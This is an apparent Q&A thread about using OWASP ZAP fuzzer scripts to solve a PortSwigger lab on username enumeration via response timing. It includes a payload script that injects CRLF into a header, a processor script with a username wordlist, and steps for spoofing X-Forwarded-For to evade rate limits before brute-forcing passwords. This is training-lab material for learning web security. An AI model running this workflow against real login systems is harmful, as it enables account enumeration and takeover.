1

I'm learning how use OWASP ZAP and I'd like to know how fuzzer at the same time the header and the body in a request using the same payload script. I am trying to do this lab for practise:

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing

For emulate the pitchfork behavior of Burp suite pro:

ZAP missing payload mode pitchfork

The problem is when I have to fuzzer the header and the body in the same payload. I receive a httpmalformedheaderexpection and the fuzzer doesn't start. This is what I'm trying:

// Auxiliary variables/constants for payload generation.
var INITIAL_VALUE = 1;
var count = INITIAL_VALUE;
var name = ["carlos","root","admin"];
var NUMBER_OF_PAYLOADS = name.length;

/**
 * Returns the number of generated payloads, zero to indicate unknown number.
 * The number is used as a hint for progress calculations.
 * 
 * @return {number} The number of generated payloads.
 */
function getNumberOfPayloads() {
    return NUMBER_OF_PAYLOADS;
}

/**
 * Returns true if there are still payloads to generate, false otherwise.
 * 
 * Called before each call to next().
 * 
 * @return {boolean} If there are still payloads to generate.
 */
function hasNext() {
    return (count <= NUMBER_OF_PAYLOADS);
}

/**
 * Returns the next generated payload.
 * 
 * This method is called while hasNext() returns true.
 * 
 * @return {string} The next generated payload.
 */
function next() {
    payload = count;
    count++;
    return payload + "\r\n\r\n" + "username=asdf&password=1234567890"; //error, not using the names array yet
}

/**
 * Resets the internal state of the payload generator, as if no calls to
 * hasNext() or next() have been previously made.
 * 
 * Normally called once the method hasNext() returns false and while payloads
 * are still needed.
 */
function reset() {
    count = INITIAL_VALUE;
}

/**
 * Releases any resources used for generation of payloads (for example, a file).
 * 
 * Called once the payload generator is no longer needed.
 */
function close() {
}

Fuzz locations:

...
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
X-Forwarded-For: FUZZER

Generated payloads:

1

username=asdf&password=123456789
2

username=asdf&password=123456789
3

username=asdf&password=123456789

Any fix/workaround to complete the exercise? Thanks in advance.

Edit with capture

Tdlob31
  • 13
  • 5
  • Could you add a screenshot with the request you're trying to fuzz and the payload positions marked? Your current "fuzz locations" bit doesn't make sense with the script you've provided. – kingthorin May 03 '22 at 16:03
  • @kingthorin Added capture –  Tdlob31 May 03 '22 at 18:04
  • I'm confused. Why are you trying to fuzz the value of X-Foward-For? Why aren't you fuzzing the actual POST request that has the parameters and actually fuzz the param(s)? – kingthorin May 03 '22 at 18:57
  • Actually ignore that question. I'll go look at the actual lab ;) – kingthorin May 03 '22 at 19:06
  • It shouldn't require a script at all. You can just set 3 different fuzz locations. I'll add an answer later tonight after I've gone through the lab and documented things. – kingthorin May 03 '22 at 19:12
  • With 3 different fuzz fields you couldn't make the fuzzer behaves like burp suite pitchfork attack mode, so it would take much longer. I need to increase two fields (header and body parameters) at the same time. In my code username still doesn't change, the idea is use the array if the error is fixed. –  Tdlob31 May 03 '22 at 20:04
  • Yup, looking at it. – kingthorin May 03 '22 at 23:49

2 Answers2

1

Here's what I'd suggest: Use a Numerzz payload for the X-Forwarded-For payload and use a message processor script to insert the username or password values from an array.

Create a Fuzz HTTP Processor script (in the instructions below it's named timing_1):

// Auxiliary variables/constants needed for processing.
var count = 1;
var TreeSet = Java.type("java.util.TreeSet");
var HtmlParameter = Java.type("org.parosproxy.paros.network.HtmlParameter");
var longpass = "01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789";

function processMessage(utils, message) {
    // Process fuzzed message...
    var iteration = message.getRequestHeader().getHeader("X-Forwarded-For");
    var formParams = new TreeSet();
    formParams.add(new HtmlParameter(HtmlParameter.Type.form, "username", name[iteration]));
    formParams.add(new HtmlParameter(HtmlParameter.Type.form, "password", longpass));
    message.setFormParams(formParams);
}

function processResult(utils, fuzzResult){
    return true;
}

function getRequiredParamsNames(){
    return [];
}

function getOptionalParamsNames(){
    return [];
}

var name = ["carlos",
"root",
"admin",
"test",
"guest",
"info",
"adm",
"mysql",
"user",
"administrator",
"oracle",
"ftp",
"pi",
"puppet",
"ansible",
"ec2-user",
"vagrant",
"azureuser",
"academico",
"acceso",
"access",
"accounting",
"accounts",
"acid",
"activestat",
"ad",
"adam",
"adkit",
"admin",
"administracion",
"administrador",
"administrator",
"administrators",
"admins",
"ads",
"adserver",
"adsl",
"ae",
"af",
"affiliate",
"affiliates",
"afiliados",
"ag",
"agenda",
"agent",
"ai",
"aix",
"ajax",
"ak",
"akamai",
"al",
"alabama",
"alaska",
"albuquerque",
"alerts",
"alpha",
"alterwind",
"am",
"amarillo",
"americas",
"an",
"anaheim",
"analyzer",
"announce",
"announcements",
"antivirus",
"ao",
"ap",
"apache",
"apollo",
"app",
"app01",
"app1",
"apple",
"application",
"applications",
"apps",
"appserver",
"aq",
"ar",
"archie",
"arcsight",
"argentina",
"arizona",
"arkansas",
"arlington",
"as",
"as400",
"asia",
"asterix",
"at",
"athena",
"atlanta",
"atlas",
"att",
"au",
"auction",
"austin",
"auth",
"auto",
"autodiscover"]

Find the login POST related to Peter Wiener The login request to be fuzzed

Select that message to Fuzz (right click Attack > Fuzz...). Edit the message, adding the X-Forwarded-For header and setting the password to a long string: Edited fuzz message

Select the dummy value you’ve set for X-Forwarded-For, add a payload. (Numberzz - 0 to 100, increment 1). [Note: If you have to run this multiple times you may need to adjust the range and perform some simple math on your “iterator” variable in order to get past the X-Forwarded-For control and have the proper array index.] enter image description here

Accept the payload addition dialogs. Goto the “Message Processors” tab. Remove “Payload Reflection Detector” (This isn’t strictly necessary, but we don’t care about reflections in this case so may as well.) Add “timing_1” and move it to the top. Message processors setup

Sort the fuzz results by the RTT (Round Trip Time) column: Sorted fuzz results

Note one of them took noticeably longer (I’ve redacted the username in the request): Relevant fuzz result

Now that you have the username of the relevant user, modify the script slightly (or create a second one) to handle the password payloads.

kingthorin
  • 1,419
  • 9
  • 18
  • Would you mind explaining how can i create a Fuzz HTTP Processor script, link to sample maybe. – Jamal S Jul 20 '22 at 21:47
  • 1
    There’s an example quoted in my answer. Others here: https://github.com/zaproxy/community-scripts/tree/main/httpfuzzerprocessor – kingthorin Jul 21 '22 at 01:12
  • If you mean how you do it in the GUI. Just above the Sites Tree click the green plus button, select scripts. Switch to the scripts tab. In the Scripts Tree right click HTTP fuzz processor (name might not be exact, I don’t have access to ZAP right now). Select New Script, follow the dialog(s). – kingthorin Jul 21 '22 at 01:17
  • I used the script you typed above and it's working fine, no errors, but i can't seem to get the right username. the largest RTT time each time i run the fuzzer displays a different username than the pervious try, any clues what's the issue here – Jamal S Aug 10 '22 at 22:06
  • Not sure what to tell you. I never encountered that problem even across multiple runs. (Keep in mind the note above about multiple runs.) You could try changing your settings to single threaded, perhaps your network sucks or your machine is having some other sort of issue, or maybe there's an academy issue? ‍♂️ – kingthorin Aug 16 '22 at 13:04
0

httpmalformedheaderexpection means that the header created by the fuzzer is invalid and has been rejected by the underlying networking library. You will need to make sure the fuzzer generates valid headers. We are aware of this restriction and are replacing all of the ZAP networking which will fix this problem.

Simon Bennetts
  • 5,479
  • 1
  • 14
  • 26